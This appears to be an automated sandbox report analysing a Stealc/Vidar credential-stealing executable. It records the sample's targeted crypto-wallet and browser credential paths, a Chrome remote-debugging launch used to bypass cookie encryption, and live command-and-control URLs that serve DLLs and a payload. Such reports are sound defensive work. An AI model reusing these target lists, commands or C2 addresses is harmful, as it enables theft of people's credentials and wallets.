Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 5160, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2695752628.0000000000F71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2700717988.000000000175E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2188438662.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5160, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5160, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	4 Data from Local System	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	1 Email Collection	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	651 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://31.41.244.11/files/random.exe3b31dg	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exehp	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeXL	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpyI.#	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exeer	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllcJi	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpyu	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exeGg	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpHJKKJD.exeata;	100%	Avira URL Cloud	malware
http://31.41.244.11/ows	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exezL	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php8U	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phppresolver.dllr	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.210.172	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
play.google.com	172.217.19.206	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.110	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
b-0005.b-dc-msedge.net	13.107.9.158	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.208.72	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732702494450&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239340418551_1MWHJRW59UCHVWKN4&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://c.msn.com/c.gif?rnd=1732702487977&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c28f73b3bedc4a6ba0297141dc8ea855&activityId=c28f73b3bedc4a6ba0297141dc8ea855&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239399227832_1H50M59UCFXT0F6VT&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://sb.scorecardresearch.com/b?rn=1732702487977&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0DAD223ED34268AD13B3377AD2436971&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360433542_1UJC4903W7XNIUU73&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732702487974&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2387136098.0000000023CA8000.00000004.00000020.00020000.00000000.sdmp, FBGHCGCA.0.dr, Web Data.15.dr, HDGIJJDG.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2387136098.0000000023CA8000.00000004.00000020.00020000.00000000.sdmp, FBGHCGCA.0.dr, Web Data.15.dr, HDGIJJDG.0.dr	false		high
http://www.broofa.com	chromecache_542.8.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
http://31.41.244.11/files/random.exeer	skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe3b31dg	skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.com/0	000003.log1.15.dr	false		high
https://ntp.msn.com/_default	QuotaManager.15.dr	false		high
https://www.last.fm/	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.16.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.15.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.16.dr	false		high
https://docs.google.com/	manifest.json0.15.dr	false		high
https://www.youtube.com	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpHJKKJD.exeata;	file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/	skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.16.dr	false		high
https://www.instagram.com	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
http://31.41.244.11/ows	skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	manifest.json0.15.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllcJi	file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://www.messenger.com	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	false		high
https://i.y.qq.com/n2/m/index.html	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://www.deezer.com/	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://web.telegram.org/	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpyI.#	file.exe, 00000000.00000002.2730742081.0000000023D6C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpyu	skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.15.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	EGCBAFCFIJJJECBGIIJK.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.15.dr	false		high
https://vibe.naver.com/today	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2387136098.0000000023CA8000.00000004.00000020.00020000.00000000.sdmp, FBGHCGCA.0.dr, Web Data.15.dr, HDGIJJDG.0.dr	false		high
https://assets.msn.com	76e21691-2031-4e4e-b8b7-2ef037ae2426.tmp.16.dr	false		high
http://31.41.244.11/files/random.exeXL	skotes.exe, 00000023.00000002.3412047271.0000000001138000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2387136098.0000000023CA8000.00000004.00000020.00020000.00000000.sdmp, HDGIJJDG.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.15.dr	false		high
https://excel.new?from=EdgeM365Shoreline	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CAFBGHIDBGHJJKFHJDHCBKJDGC.0.dr	false		high
http://31.41.244.11/files/random.exeGg	skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.15.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_542.8.dr	false		high
http://31.41.244.11/files/random.exehp	skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.16.dr	false		high
https://www.google.com/chrome	content.js.15.dr, content_new.js.15.dr	false		high
https://www.tiktok.com/	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	CAFBGHIDBGHJJKFHJDHCBKJDGC.0.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.15.dr	false		high
https://chromewebstore.google.com/	manifest.json.15.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.15.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.15.dr	false		high
https://msn.comXIDv10	Cookies.16.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 00000023.00000002.3412047271.000000000114F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000023.00000002.3412047271.0000000001138000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exezL	skotes.exe, 00000023.00000002.3412047271.0000000001138000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://chrome.google.com/webstore/	manifest.json.15.dr	false		high
https://y.music.163.com/m/	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	false		high
https://bard.google.com/	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.15.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2730742081.0000000023CF0000.00000004.00000020.00020000.00000000.sdmp, EGCBAFCFIJJJECBGIIJK.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phppresolver.dllr	file.exe, 00000000.00000002.2730742081.0000000023D6C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://web.whatsapp.com	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
http://185.215.113.206/c4becf79229cb002.php8U	file.exe, 00000000.00000002.2700717988.00000000017B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://m.kugou.com/	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://www.office.com	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://outlook.live.com/mail/0/	1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.15.dr, 000003.log1.15.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.15.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

